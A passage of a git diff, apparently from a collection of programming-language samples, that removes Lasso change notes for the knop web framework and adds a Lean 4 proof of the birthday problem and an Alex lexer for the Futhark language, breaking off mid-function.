-Allow -keyfield to be specified for ->addrecord and ->deleterecord
-Add some Active Record similar functionality for editing
-Look at making it so -table can be set dynamically instead of fixed at oncreate, to eliminate the need for one db object for each table. This can cause problems with record locks and how they interact with knop_user 
-datetime_create and datetime_mod, and also user_create and user_mod.
-	Use default field names but allow to override at oncreate, and verify them at oncreate before trying to use them. 
-
-
-','knop custom tags in util.inc'='	2007-06-17	JS	Created the type
-	
-	','knop_user'='2012-01-16	SP	Added ->removedata to remove field from the data map.  Thanks to Ric Lewis.
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-06-23	JS	->encrypt now uses default encrypt_cipher from the custom type instead of a hard coded default
-2009-02-26	JS	->login: further correction on the search for login with FileMaker, to reduce the risk for false duplicates
-2009-02-26	JS	->login: Added optional -searchparams to be able to add more conditions to the login search, for example to exclude users that are not enabled. 
-2008-12-02	JS	->encrypt: Changed to -hex cipher instead of encode_base64
-2008-11-05	JS	->getdata: corrected a check that prevented the tag from returning anything
-2008-11-05	JC	->login: A failed login attempt now results in a logout instead of keeping any old authentication
-2008-11-05	JC	->getpermission will always return falseif a user is not logged in
-2008-11-05	JC	->logout: The permissions map is now cleared when logging out
-2008-11-04	JC	->encrypt: changed incorrect encrypt_cipher to encrypt_digest
-2008-09-10	JS	Added ondeserialize to make client_fingerprint_expression survive session
-2008-07-17	JS	Implemented ->setpermission and ->getpermission
-2008-07-17	JS	Added client_fingerprint_expression as compound expression so it can be configurable by changing the instant variable
-2008-05-20	JS	->login: Added delay between more than 5 failed login attempts 
-2008-05-08	JS	->login: improved the search for FileMaker datasources to make it work for email address as username
-2008-02-08	JS	Added ->keys
-2008-02-03	JS	-> login: Corrected storage of id_user
-2007-11-27	JS	Coded an incomplete version
-2007-06-13	JS	Created the data type
-
-// TODO: 
-Make it possible for knop_user to work independently of a knop_database object by creating a custom user lookup - see http://listsearch.com/Lasso/Thread/index.lasso?20528
-userdb reference is brooken, probably when stored in session. Can this be fixed?
-Make client_fingerprint configurable by specifying a compound expression at oncreate
-Add support for role based permisions
-
-','knop_lang'='2010-12-29	JS	->getstring: make sure we only try to do replacement in strings or bytes
-2010-05-27	JS	getstring now works also with empty -replace value
-2010-04-20	JS	getstring debug output corrected for missing string. 
-2009-09-16	JS	Syntax adjustments for Lasso 9
-2009-06-26	JS	->addstring: clarified deprecation warning
-2009-04-08	JS	Added -debug flag to oncreate (when creating a lang object) to make undefined language keys appear as *key*.
-2009-03-24	JS	->getstring prevents replacements if there is no language string found, to prevent null->replace error
-2008-11-12	JS	Added ->insert instead of ->addstring for better consistency with other Lasso data types. ->addstring will remain functional for backwards compatibility. 
-2008-09-11	JS	->_unknowntag: added missing support for -language
-2008-01-22	JS	->getstring: corrected the fallback behavior when a current language has been set 
-2008-01-07	JS	Removed instance variable browserlanguage due to problems with transient storage. The browserlanguage is cached on page level so it\'s no loss in reality. 
-2007-12-12	JS	Added page level storage of currentlanguage, so all knop_lang instances defaults to the same language once one of them have set a language explictly, but only if the other knop_lang instances don\'t have a language set explicitly. 
-2007-12-12	JS	Added page level caching of browser language (stores the value in $_knop_data map)
-2007-12-06	JS	Moved -> help to knop_base
-2007-12-06	JS	Added ->description to all member tags. 
-2007-12-03	JS	Finished first complete version
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-13	JS	Renamed to knop_lang (formerly knop_strings)
-2007-04-04	JS	Created the data type and started coding
-
-TODO:
-Provide methods to handle formatting of dates, numbers, currency etc for different languages/locales. 
-Weekday names, month names etc. 
-Member tag to return the current language
-Member tag to set default output encoding unless it follows encode_set. 
-
-Examples
-	var: \'lang_messages\'=(knop_lang: -default=\'en\');
-	$lang_messages -> (insert: -key=\'welcome\', -value=\'Welcome to the home page\', -language=\'en\');
-	$lang_messages -> (insert: -key=\'welcome\', -value=\'Välkommen till hemsidan\', -language=\'sv\');
-	$lang_messages -> (insert: -key=\'loggedin\', -value=\'You are logged in as #1# #2#\', -language=\'en\');
-	$lang_messages -> (insert: -key=\'loggedin\', -value=\'Du är inloggad som #1# #2#\', -language=\'sv\');
-
-	// proper call, defaults to the browser\'s preferred language
-	$lang_messages -> (getstring: \'welcome\');
-	// shorthand call
-	$lang_messages -> welcome;
-
-	// change language
-	$lang_messages -> (setlanguage: \'sv\');
-	$lang_messages -> welcome;
-
-	// proper call with replacements
-	$lang_messages -> (getstring: -key=\'loggedin\': -replace=(array: (field: \'firstname\'), (field: \'lastname\')));
-
-	// shorthand call with replacements
-	$lang_messages -> (loggedin: -replace=(array: (field: \'firstname\'), (field: \'lastname\')));
-
-
-','knop_form'='2011-02-28	JS	->addfield: Added -template to specify field specific template 
-2010-11-22	SP	->init: Correction of -lockvalue handling after L9 syntax adjustment
-2010-07-18	SP	Added support for series for -options
-2010-06-10	JS	->renderform: avoid adding -upload parameters to post forms since it conflicts with file uploads (found by Steve Piercy)
-2010-04-21	JS	->renderhtml:  removed encode_html for label
-2010-03-06	SP	Changed default behavior of ->updatefields with -sql to add backticks between the table and column names.  Now JOINs may be used.
-2010-03-06	SP	Added ->updatefields with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.
-2009-11-11	JS	Added class and id to optiongroup div that surrounds for checkbox and radio
-2009-11-11	JS	Corrected id for checkbox and radio option labels
-2009-10-02	JS	Added id for labels, auto generated from the field\'s id with _label appended
-2009-09-16	JS	Syntax adjustments for Lasso 9
-2009-09-04	JS	Changed $__html_reply__ to content_body
-2009-09-04	JS	->renderhtml: corrected typ for autoparams
-2009-07-23	JS	->renderform: removed encode_html that somehow has reappeared for label. 
-2009-07-10	SP	added -maxlength option for text fields
-2009-06-26	JS	->oncreate: added deprecation warning for -action
-2009-06-22	JS	->addfield: corrected -options check to look for set instead of series (besides array)
-2009-04-16	JS	->loadfileds can now load field values from -params also inside an inline
-2009-03-20	JS	Added  <![CDATA[ ... ]]>  around injected scripts for better xhtml compliance
-2009-01-08	JS	->getvalue and _unknowntag: added -index parameter to be able to get value for a specific field instance when there are multiple fields with the same name 
-2009-01-08	JS	->loadfields: implemented support for multiple fields with the same name when loading field values from form submission where the number of same name fields matches
-2009-01-07	JS	->setvalue: added -index parameter to be able to set value for a specific field instance when there are multiple fields with the same name 
-2008-12-08	JS	->renderform: Removed the onclick handlers for checkbox and radio since Safari now supports clicking the label text as click for the checkbox/radio control. 
-2008-12-05	JS	->renderform: the fieldset and legend field types will now use id and class on the fieldset tag if specified
-2008-12-03	JS	->renderform: fields of type fieldset now uses value as legend (just as field type legend already did) instead of always using an empty legend
-2008-09-24	JS	->updatefields: Added protection against backtick sql injection in MySQL object names
-2008-09-17	JS	->renderform and ->renderhtml: -from and -to allows negative numbers to count from end of form instead
-2008-09-13	JS	Added ->getlabel to return the display name for a field. 
-2008-09-13	JS	->addfield and ->validate: Implemented -validate to specify a compound expression to validate the field input. 
-2008-09-13	JS	->addfield and ->loadfields: Implemented -filter to specify a compound expression to filter the field input. 
-2008-09-11	JS	->updatefields: fixed exclusion of special field types html, legend and fieldset. 
-2008-09-11	JS	->renderform: Fixed missing value for password fields
-2008-07-02	JS	->renderform: Cleaned up the automatic adding of javascript code so it\'s not added if not needed. Also moved all scripts to the end of the page. More work with with the javascripts is needed.
-2008-06-03	JS	->renderform: corrected missing closing </fieldset>
-2008-05-15	JS	->renderform and ->renderhtml: adjusted the behavior for nested fieldsets
-2008-05-13	JS	Implemented -legend for ->renderhtml, to make it consistent with the new legend field type
-2008-05-13	JS	Implemented special field types html, fieldset and legend. Use -value to display data for these fields. A legend field also creates a fieldset (closes any previously open fieldsets). Use fieldset with -value=false to close a fieldset without opening a new one. 
-2008-05-06	JS	Added unknowntag as shortcut to getvalue
-2008-01-30	JS	Removed duplicate endscript entries for if(dirty) {makedirty()};
-2007-12-13	JS	Corrected ->addfield: -dbfield so empty dbfields are properly ignored by ->updatefields. 
-2007-12-11	JS	Moved error_msg to knop_base (special version of error_code stays here) 
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-11-13	JS	Added -buttontemplate to be able to specify separate template for buttons, defaults to no <br>, but if template has been specified that will be used instead (for backwards compatibility)
-2007-11-12	JS	->process delete now works also when not using record locking (not specifying -user)
-2007-11-01	JS	->renderform: added support for -hint for textarea fields.
-2007-09-27	JS	->renderhtml: multiple values (array) for radio, checkbox and select are now rendered properly with either "," or <br> depending on the presence of -linebreak, and with the display text instead of the actual option value
-2007-09-27	JS	->renderform: improved handling of multiple values for checkbox, radio and select
-2007-09-21	JS	->addfield: flag parameters now accept false as value
-2007-09-06	JS	->oncreate: changed name of -action to -formaction to make it more clear what it is. -action is still supported but deprecated.
-2007-09-06	JS	->renderform: Corrected the exception for -session... (duh)
-2007-08-08	JS	->renderform: Added exception for -session
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-12	JC	bugfixed -xhtml form rendering when called by quicksearch
-2007-06-11	JC	added handling of xhtml output
-2007-04-19	JS	->loadfields: fixed -params that was broken when adding -database
-2007-04-19	JS	->renderform: removed invalid wrap="soft" from textarea
-2007-04-12	JS	->process: made -user optional (only needed when using record locking)
-2007-04-12	JS ->loadfields can now take a -database parameter, either as a flag (no value) where the database object connected to the form will be used, or by specifying a database object as value. 
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-03-01	JS	->renderform fixed unsavedwarning on page load by moving checkdirty() to afterscript
-2007-03-01	JS	->formmode and ->init changed so it preserves the right mode after a failed add
-2007-02-27	JS	->renderform: added <div class="inputgroup"> around checkboxes and radios for css formating
-2007-02-26	JS	->oncreate: added -actionpath to specify the framework action path for the form instead of manually adding the -action hidden field
-2007-02-24	JS	Corrected entersubmitblock behavior by adding onfocus handler on form and starting with submitBlock=false
-2007-02-23	JS	Removed encode_html from form field labels
-2007-02-22	JS	->setformat: Added -legend
-2007-02-07	JS	Added ->copyfield to copy a form field to a new name, with the same properties. 
-2007-02-07	JS	->errors now returns empty array if validate has not been called, instead of performing validation
-2007-02-05	JS	->getbutton can now look for also button names that are not one of the built-in ones (for example button_apply)
-2007-02-05	JS The -keyvalue parameter can be given another name by specifying -keyparamname in oncreate
-2007-02-02	JS	Added ->lockvalue_decrypted
-2007-02-02	JS	->addfield: -value is now stored as reference
-2007-02-02	JS	error_code now returns an error for when the form contains validation errors
-2007-02-02	JS	Improved reporting of Lasso error messaged in error_msg
-2007-02-02	JS 	Added real error codes
-2007-01-31	JS	->rederform action_params now also exclude "-" params that appear in the form action
-2007-01-29	JS	->renderform: The first field with input error will get focus when loading page
-2007-01-29	JS	Added -focus to ->addfield to give default field focus when loading page with form
-2007-01-29	JS	Added -disabled to ->addfield, and handling of it in ->renderform
-2007-01-29	JS	Added -noautoparams to ->oncreate to disable the automatic passing of action_params that begin with "-"
-2007-01-29	JS	->renderform now renders label also for submit, reset to format properly with css
-2007-01-26	JS	Added support for Safari specific <input type="search">
-2007-01-26	JS	->renderform action_params that begin with "-" now exclude params that exist in the form. Minor corrections to the behavior. 
-2007-01-25	JS	Added -nowarning to ->oncreate to disable unsaved warnings for the entire form
-2007-01-25	JS	Added -required to ->oncreate (and a few more from ->setformat)
-2007-01-23	JS	Autogenerates id for the form itself
-2007-01-23	JS	Added ->getbutton to return the button that was clicked when submitting a form (cancel, add, save, delete)
-2007-01-23	JS	Added auto conversion of options left hand pair member to string, to make comparsions work reliably. Integer zeros don\'t compare nicely to strings. 
-2007-01-23	JS	Added support for submit-on-enter prevention: specify -entersubmitblock at oncreate
-2007-01-19	JS	Addes renderform: -legend to be able to group form fields at render time
-2007-01-19	JS	added support for -optgroup in -options for select. Also works for radio and checkbox. Specify empty -optgroup to close optgroup in select without starting a new, or to add extra linebreak between checkboxes/radio buttons. 
-2007-01-19	JS	added -template for oncreate
-2007-01-19	JS	added optional fieldset and legend to form, legend can be specified as -legend at oncreate. if -legend is specified, the form will be wrapped in a fieldset. 
-2007-01-19	JS	method now defaults to post
-2007-01-19	JS	Corrected line separator for FileMaker checkboxes and added the same handling also for radio
-2007-01-18	JS	renderform: any action_params that begin with "-" (except -keyvalue and -lockvalue) are added as form parameters
-2007-01-18	JS	renderform: checkboxes and multiselects now show checked and selected properly when loading values from database
-2007-01-18	JS	updatefields: added support for multiple values for one fieldname, like checkboxes (multiple fields in the update pair array, -sql generates comma separated values)
-2007-01-17	JS	reset button now makes form undirty
-2007-01-17	JS	addfield: -confirmmessage can now be specified for any submit or reset button
-2007-01-17	JS	added addfield: -nowarning to avoid unsaved warning when the field is changed
-2007-01-17	JS	changed default class name for unsaved marker from dirty to unsaved
-2007-01-17	JS	changed name of -dirtymarker and -dirtymarkerclass to unsavedmarker and -unsavedmarkerclass for userfriendlyness
-2007-01-17	JS	added setformat: -unsavedwarning to dynamically set the javascript form dirty warning message
-2007-01-17	JS	renderform: -field changed to renderform: -name for consistency
-2007-01-16	JS	renderform: -field with wrong field name does not output anything, instead of the entire form
-2007-01-16	JS	fixed onbeforeunload in javascript form dirty handler
-
-TODO:
-->addfield: Add -format to manipulate the field value before it is displayed by ->renderform and ->renderhtml, much like -filter but only for display and without affecting input. 
-->addfield: Add -fieldgroup to be able to group related fields together, useful for ->updatefields to return just fields that belong to a specific db table, or ->renderform as another way to render a form selectively
-->renderform needs a better way to display errors inline together with the fields
-Make _unknowntag also work as shortcut to setvalue if a value is specified
-Add a new special field type to the form object, let\'s say "data". That field type will not interact with forms and will never be touched by loadfields, but it will populate ->updatefields.
-Add -> searchfields, which will return a fulltext enabled pair array better suited for searchs than ->updatefields is. -fulltext needs to be specified per field. 
-Review and clean up the javascripts inserted automatically by knop_form - partially done
-Option to let textarea grow automatically depending on the amount of text in it.  
-Use http://bassistance.de/jquery-plugins/jquery-plugin-validation/ instead of client side validation
-Possibly add support for the same validation expressions as the jquery validation plugin uses, so server side a nd client side validation can be specified at once. 
-Add -path as parameter for oncreate so the form action can be set with less confusion...  In that case -formaction will be a physical url, while -path would be a framework path. 
-Fix actionpath reference so it updates properly when altering the value (not possible?)
-Should loadfields load "-" params?
-Unsavedwarning made optional, does not seem to work properly now?
-More flexible error hightlighting
-Move templates to a member tag to be make it easier to subclass (Douglas Burchard)
-Add "button". <button></button>. Subtypes are submit, reset and button. How to specify the subtype? (Douglas Burchard)
-Change ->addfield to ->insert and make ->addfield deprecated
-There is no src for input type image!
-Add ->size and ->get so the form object can be iterated
-Add -skipemtpy to to ->renderhtml
-Option for -> renderhtml to output without html encoding
-->renderhtml should never html encode fields of type html
-
-',));
-		if(local_defined('type'));return(#changenotes -> find(#type));else;
-		!local_defined('date') ? local('date'=date('1900-01-01')) | #date = date(#date);
-		iterate(#changenotes, local('changenote'));
-			#output += #changenote -> name + '\n';
-			iterate(#changenote ->value -> split('\n'), local('changenote_row'));
-				if(date(#changenote_row -> split(regexp('\\s')) -> first) >= #date);
-					#output += #changenote_row + '\n';
-				/if;
-			/iterate;
-			#output += '\n';
-		/iterate;
-		return(@#output);/if;
-		/define_tag]
\ No newline at end of file
diff --git a/samples/Lean 4/BirthdayProblem.lean b/samples/Lean 4/BirthdayProblem.lean
new file mode 100644
index 0000000000..808833d09b
--- /dev/null
+++ b/samples/Lean 4/BirthdayProblem.lean	
@@ -0,0 +1,95 @@
+/-
+Copyright (c) 2021 Eric Rodriguez. All rights reserved.
+Released under Apache 2.0 license as described in the leanprover-community/mathlib4 repo.
+Authors: Eric Rodriguez
+-/
+import Mathlib.Data.Fintype.CardEmbedding
+import Mathlib.Probability.CondCount
+import Mathlib.Probability.Notation
+
+#align_import wiedijk_100_theorems.birthday_problem from "leanprover-community/mathlib"@"5563b1b49e86e135e8c7b556da5ad2f5ff881cad"
+
+/-!
+# Birthday Problem
+
+This file proves Theorem 93 from the [100 Theorems List](https://www.cs.ru.nl/~freek/100/).
+
+As opposed to the standard probabilistic statement, we instead state the birthday problem
+in terms of injective functions. The general result about `Fintype.card (α ↪ β)` which this proof
+uses is `Fintype.card_embedding_eq`.
+-/
+
+
+namespace Theorems100
+
+local notation "|" x "|" => Finset.card x
+
+local notation "‖" x "‖" => Fintype.card x
+
+/-- **Birthday Problem**: set cardinality interpretation. -/
+theorem birthday :
+    2 * ‖Fin 23 ↪ Fin 365‖ < ‖Fin 23 → Fin 365‖ ∧ 2 * ‖Fin 22 ↪ Fin 365‖ > ‖Fin 22 → Fin 365‖ := by
+  -- This used to be
+  -- `simp only [Nat.descFactorial, Fintype.card_fin, Fintype.card_embedding_eq, Fintype.card_fun]`
+  -- but after leanprover/lean4#2790 that triggers a max recursion depth exception.
+  -- As a workaround, we make some of the reduction steps more explicit.
+  rw [Fintype.card_embedding_eq, Fintype.card_fun, Fintype.card_fin, Fintype.card_fin]
+  rw [Fintype.card_embedding_eq, Fintype.card_fun, Fintype.card_fin, Fintype.card_fin]
+  decide
+#align theorems_100.birthday Theorems100.birthday
+
+section MeasureTheory
+
+open MeasureTheory ProbabilityTheory
+
+open scoped ProbabilityTheory ENNReal
+
+variable {n m : ℕ}
+
+/- In order for Lean to understand that we can take probabilities in `Fin 23 → Fin 365`, we must
+tell Lean that there is a `MeasurableSpace` structure on the space. Note that this instance
+is only for `Fin m` - Lean automatically figures out that the function space `Fin n → Fin m`
+is _also_ measurable, by using `MeasurableSpace.pi`, and furthermore that all sets are measurable,
+from `MeasurableSingletonClass.pi`. -/
+instance : MeasurableSpace (Fin m) :=
+  ⊤
+
+instance : MeasurableSingletonClass (Fin m) :=
+  ⟨fun _ => trivial⟩
+
+/- We then endow the space with a canonical measure, which is called ℙ.
+We define this to be the conditional counting measure. -/
+noncomputable instance : MeasureSpace (Fin n → Fin m) :=
+  ⟨condCount Set.univ⟩
+
+-- The canonical measure on `Fin n → Fin m` is a probability measure (except on an empty space).
+instance : IsProbabilityMeasure (ℙ : Measure (Fin n → Fin (m + 1))) :=
+  condCount_isProbabilityMeasure Set.finite_univ Set.univ_nonempty
+
+theorem FinFin.measure_apply {s : Set <| Fin n → Fin m} :
+    ℙ s = |s.toFinite.toFinset| / ‖Fin n → Fin m‖ := by
+  erw [condCount_univ, Measure.count_apply_finite]
+#align theorems_100.fin_fin.measure_apply Theorems100.FinFin.measure_apply
+
+/-- **Birthday Problem**: first probabilistic interpretation. -/
+theorem birthday_measure :
+    ℙ ({f | (Function.Injective f)} : Set ((Fin 23) → (Fin 365))) < 1 / 2 := by
+  rw [FinFin.measure_apply]
+  generalize_proofs hfin
+  have : |hfin.toFinset| = 42200819302092359872395663074908957253749760700776448000000 := by
+    trans ‖Fin 23 ↪ Fin 365‖
+    · rw [← Fintype.card_coe]
+      apply Fintype.card_congr
+      rw [Set.Finite.coeSort_toFinset, Set.coe_setOf]
+      exact Equiv.subtypeInjectiveEquivEmbedding _ _
+    · rw [Fintype.card_embedding_eq, Fintype.card_fin, Fintype.card_fin]
+      rfl
+  rw [this, ENNReal.lt_div_iff_mul_lt, mul_comm, mul_div, ENNReal.div_lt_iff]
+  rotate_left; (iterate 2 right; norm_num); decide; (iterate 2 left; norm_num)
+  simp only [Fintype.card_pi]
+  norm_num
+#align theorems_100.birthday_measure Theorems100.birthday_measure
+
+end MeasureTheory
+
+end Theorems100
diff --git a/samples/Lex/filenames/Lexer.x b/samples/Lex/filenames/Lexer.x
new file mode 100644
index 0000000000..a2d86d1a8f
--- /dev/null
+++ b/samples/Lex/filenames/Lexer.x
@@ -0,0 +1,400 @@
+{
+{-# LANGUAGE OverloadedStrings #-}
+{-# LANGUAGE BangPatterns #-}
+{-# LANGUAGE Trustworthy #-}
+{-# OPTIONS_GHC -w #-}
+-- | The Futhark lexer.  Takes a string, produces a list of tokens with position information.
+module Language.Futhark.Parser.Lexer
+  ( Token(..)
+  , L(..)
+  , scanTokens
+  , scanTokensText
+  ) where
+
+import qualified Data.ByteString.Lazy as BS
+import qualified Data.Text as T
+import qualified Data.Text.Encoding as T
+import qualified Data.Text.Read as T
+import Data.Char (ord, toLower, digitToInt)
+import Data.Int (Int8, Int16, Int32, Int64)
+import Data.Word (Word8)
+import Data.Bits
+import Data.Function (fix)
+import Data.List
+import Data.Monoid
+import Data.Either
+import Numeric
+
+import Language.Futhark.Core (Int8, Int16, Int32, Int64,
+                              Word8, Word16, Word32, Word64,
+                              Name, nameFromText, nameToText)
+import Language.Futhark.Prop (leadingOperator)
+import Language.Futhark.Syntax (BinOp(..))
+import Futhark.Util.Loc hiding (L)
+
+}
+
+%wrapper "monad-bytestring"
+
+@charlit = ($printable#['\\]|\\($printable|[0-9]+))
+@stringcharlit = ($printable#[\"\\]|\\($printable|[0-9]+)|\n)
+@hexlit = 0[xX][0-9a-fA-F][0-9a-fA-F_]*
+@declit = [0-9][0-9_]*
+@binlit = 0[bB][01][01_]*
+@romlit = 0[rR][IVXLCDM][IVXLCDM_]*
+@intlit = @hexlit|@binlit|@declit|@romlit
+@reallit = (([0-9][0-9_]*("."[0-9][0-9_]*)?))([eE][\+\-]?[0-9]+)?
+@hexreallit = 0[xX][0-9a-fA-F][0-9a-fA-F_]*"."[0-9a-fA-F][0-9a-fA-F_]*([pP][\+\-]?[0-9_]+)
+
+@field = [a-zA-Z0-9] [a-zA-Z0-9_]*
+
+@identifier = [a-zA-Z] [a-zA-Z0-9_']* | "_" [a-zA-Z0-9] [a-zA-Z0-9_']*
+@qualidentifier = (@identifier ".")+ @identifier
+
+@unop = "!"
+@qualunop = (@identifier ".")+ @unop
+
+$opchar = [\+\-\*\/\%\=\!\>\<\|\&\^\.]
+@binop = ($opchar # \.) $opchar*
+@qualbinop = (@identifier ".")+ @binop
+
+@space = [\ \t\f\v]
+@doc = "-- |".*(\n@space*"--".*)*
+
+tokens :-
+
+  $white+                               ;
+  @doc                     { tokenM $ return . DOC . T.unpack . T.unlines .
+                                      map (T.drop 3 . T.stripStart) .
+                                           T.split (== '\n') . ("--"<>) .
+                                           T.drop 4 }
+  "--".*                            ;
+  "="                      { tokenC EQU }
+  "("                      { tokenC LPAR }
+  ")"                      { tokenC RPAR }
+  ")["                     { tokenC RPAR_THEN_LBRACKET }
+  "["                      { tokenC LBRACKET }
+  "]"                      { tokenC RBRACKET }
+  "{"                      { tokenC LCURLY }
+  "}"                      { tokenC RCURLY }
+  ","                      { tokenC COMMA }
+  "_"                      { tokenC UNDERSCORE }
+  "->"                     { tokenC RIGHT_ARROW }
+  ":"                      { tokenC COLON }
+  ":>"                     { tokenC COLON_GT }
+  "\"                      { tokenC BACKSLASH }
+  "~"                      { tokenC TILDE }
+  "'"                      { tokenC APOSTROPHE }
+  "'^"                     { tokenC APOSTROPHE_THEN_HAT }
+  "'~"                     { tokenC APOSTROPHE_THEN_TILDE }
+  "`"                      { tokenC BACKTICK }
+  "#["                     { tokenC HASH_LBRACKET }
+  "..<"                    { tokenC TWO_DOTS_LT }
+  "..>"                    { tokenC TWO_DOTS_GT }
+  "..."                    { tokenC THREE_DOTS }
+  ".."                     { tokenC TWO_DOTS }
+
+  @intlit i8               { tokenM $ return . I8LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }
+  @intlit i16              { tokenM $ return . I16LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }
+  @intlit i32              { tokenM $ return . I32LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }
+  @intlit i64              { tokenM $ return . I64LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='i') }
+  @intlit u8               { tokenM $ return . U8LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }
+  @intlit u16              { tokenM $ return . U16LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }
+  @intlit u32              { tokenM $ return . U32LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }
+  @intlit u64              { tokenM $ return . U64LIT . readIntegral . T.filter (/= '_') . T.takeWhile (/='u') }
+  @intlit                  { tokenM $ return . INTLIT . readIntegral . T.filter (/= '_') }
+
+  @reallit f32             { tokenM $ fmap F32LIT . tryRead "f32" . suffZero . T.filter (/= '_') . T.takeWhile (/='f') }
+  @reallit f64             { tokenM $ fmap F64LIT . tryRead "f64" . suffZero . T.filter (/= '_') . T.takeWhile (/='f') }
+  @reallit                 { tokenM $ fmap FLOATLIT . tryRead "f64" . suffZero . T.filter (/= '_') }
+  @hexreallit f32          { tokenM $ fmap F32LIT . readHexRealLit . T.filter (/= '_') . T.dropEnd 3 }
+  @hexreallit f64          { tokenM $ fmap F64LIT . readHexRealLit . T.filter (/= '_') . T.dropEnd 3 }
+  @hexreallit              { tokenM $ fmap FLOATLIT . readHexRealLit . T.filter (/= '_') }
+  "'" @charlit "'"         { tokenM $ fmap CHARLIT . tryRead "char" }
+  \" @stringcharlit* \"    { tokenM $ fmap STRINGLIT . tryRead "string"  }
+
+  @identifier              { tokenS keyword }
+  @identifier "["          { tokenM $ fmap INDEXING . indexing . T.takeWhile (/='[') }
+  @qualidentifier "["      { tokenM $ fmap (uncurry QUALINDEXING) . mkQualId . T.takeWhile (/='[') }
+  @identifier "." "("      { tokenM $ fmap (QUALPAREN []) . indexing . T.init . T.takeWhile (/='(') }
+  @qualidentifier "." "("  { tokenM $ fmap (uncurry QUALPAREN) . mkQualId . T.init . T.takeWhile (/='(') }
+  "#" @identifier          { tokenS $ CONSTRUCTOR . nameFromText . T.drop 1 }
+
+  @unop                    { tokenS $ UNOP . nameFromText }
+  @qualunop                { tokenM $ fmap (uncurry QUALUNOP) . mkQualId }
+
+  @binop                   { tokenM $ return . symbol [] . nameFromText }
+  @qualbinop               { tokenM $ \s -> do (qs,k) <- mkQualId s; return (symbol qs k) }
+
+  "." (@identifier|[0-9]+) { tokenM $ return . PROJ_FIELD . nameFromText . T.drop 1 }
+  "." "["                  { tokenC PROJ_INDEX }
+{
+
+keyword :: T.Text -> Token
+keyword s =
+  case s of
+    "true"         -> TRUE
+    "false"        -> FALSE
+    "if"           -> IF
+    "then"         -> THEN
+    "else"         -> ELSE
+    "let"          -> LET
+    "loop"         -> LOOP
+    "in"           -> IN
+    "val"          -> VAL
+    "for"          -> FOR
+    "do"           -> DO
+    "with"         -> WITH
+    "local"        -> LOCAL
+    "open"         -> OPEN
+    "include"      -> INCLUDE
+    "import"       -> IMPORT
+    "type"         -> TYPE
+    "entry"        -> ENTRY
+    "module"       -> MODULE
+    "while"        -> WHILE
+    "assert"       -> ASSERT
+    "match"        -> MATCH
+    "case"         -> CASE
+
+    _              -> ID $ nameFromText s
+
+indexing :: T.Text -> Alex Name
+indexing s = case keyword s of
+  ID v -> return v
+  _    -> alexError $ "Cannot index keyword '" ++ T.unpack s ++ "'."
+
+mkQualId :: T.Text -> Alex ([Name], Name)
+mkQualId s = case reverse $ T.splitOn "." s of
+  []   -> error "mkQualId: no components"
+  k:qs -> return (map nameFromText (reverse qs), nameFromText k)
+
+-- | Suffix a zero if the last character is dot.
+suffZero :: T.Text -> T.Text
+suffZero s = if T.last s == '.' then s <> "0" else s
+
+tryRead :: Read a => String -> T.Text -> Alex a
+tryRead desc s = case reads s' of
+  [(x, "")] -> return x
+  _         -> error $ "Invalid " ++ desc ++ " literal: `" ++ T.unpack s ++ "'."
+  where s' = T.unpack s
+
+readIntegral :: Integral a => T.Text -> a
+readIntegral s
+  | "0x" `T.isPrefixOf` s || "0X" `T.isPrefixOf` s = parseBase 16 (T.drop 2 s)
+  | "0b" `T.isPrefixOf` s || "0B" `T.isPrefixOf` s = parseBase 2 (T.drop 2 s)
+  | "0r" `T.isPrefixOf` s || "0R" `T.isPrefixOf` s = fromRoman (T.drop 2 s)
+  | otherwise = parseBase 10 s
+      where parseBase base = T.foldl (\acc c -> acc * base + fromIntegral (digitToInt c)) 0
+
+tokenC v  = tokenS $ const v
+
+tokenS f = tokenM $ return . f
+
+type Lexeme a = ((Int, Int, Int), (Int, Int, Int), a)
+
+tokenM :: (T.Text -> Alex a)
+       -> (AlexPosn, Char, ByteString.ByteString, Int64)
+       -> Int64
+       -> Alex (Lexeme a)
+tokenM f (AlexPn addr line col, _, s, _) len = do
+  x <- f $ T.decodeUtf8 $ BS.toStrict s'
+  return (pos, advance pos s', x)
+  where pos = (line, col, addr)
+        s' = BS.take len s
+
+advance :: (Int, Int, Int) -> ByteString.ByteString -> (Int, Int, Int)
+advance orig_pos = foldl' advance' orig_pos . init . ByteString.unpack
+  where advance' (!line, !col, !addr) c
+          | c == nl   = (line + 1, 1, addr + 1)
+          | otherwise = (line, col + 1, addr + 1)
+        nl = fromIntegral $ ord '\n'
+
+symbol :: [Name] -> Name -> Token
+symbol [] q
+  | nameToText q == "*" = ASTERISK
+  | nameToText q == "-" = NEGATE
+  | nameToText q == "<" = LTH
+  | nameToText q == "^" = HAT
+  | nameToText q == "|" = PIPE
+  | otherwise = SYMBOL (leadingOperator q) [] q
+symbol qs q = SYMBOL (leadingOperator q) qs q
+
+
+romanNumerals :: Integral a => [(T.Text,a)]
+romanNumerals = reverse
+                [ ("I",     1)
+                , ("IV",    4)
+                , ("V",     5)
+                , ("IX",    9)
+                , ("X",    10)
+                , ("XL",   40)
+                , ("L",    50)
+                , ("XC",   90)
+                , ("C",   100)
+                , ("CD",  400)
+                , ("D",   500)
+                , ("CM",  900)
+                , ("M",  1000)
+                ]
+
+fromRoman :: Integral a => T.Text -> a
+fromRoman s =
+  case find ((`T.isPrefixOf` s) . fst) romanNumerals of
+    Nothing -> 0
+    Just (d,n) -> n+fromRoman (T.drop (T.length d) s)
+
+readHexRealLit :: RealFloat a => T.Text -> Alex a
+readHexRealLit s =
+  let num =  (T.drop 2 s) in
+  -- extract number into integer, fractional and (optional) exponent
+  let comps = T.split (`elem` ['.','p','P']) num in
+  case comps of
+    [i, f, p] ->
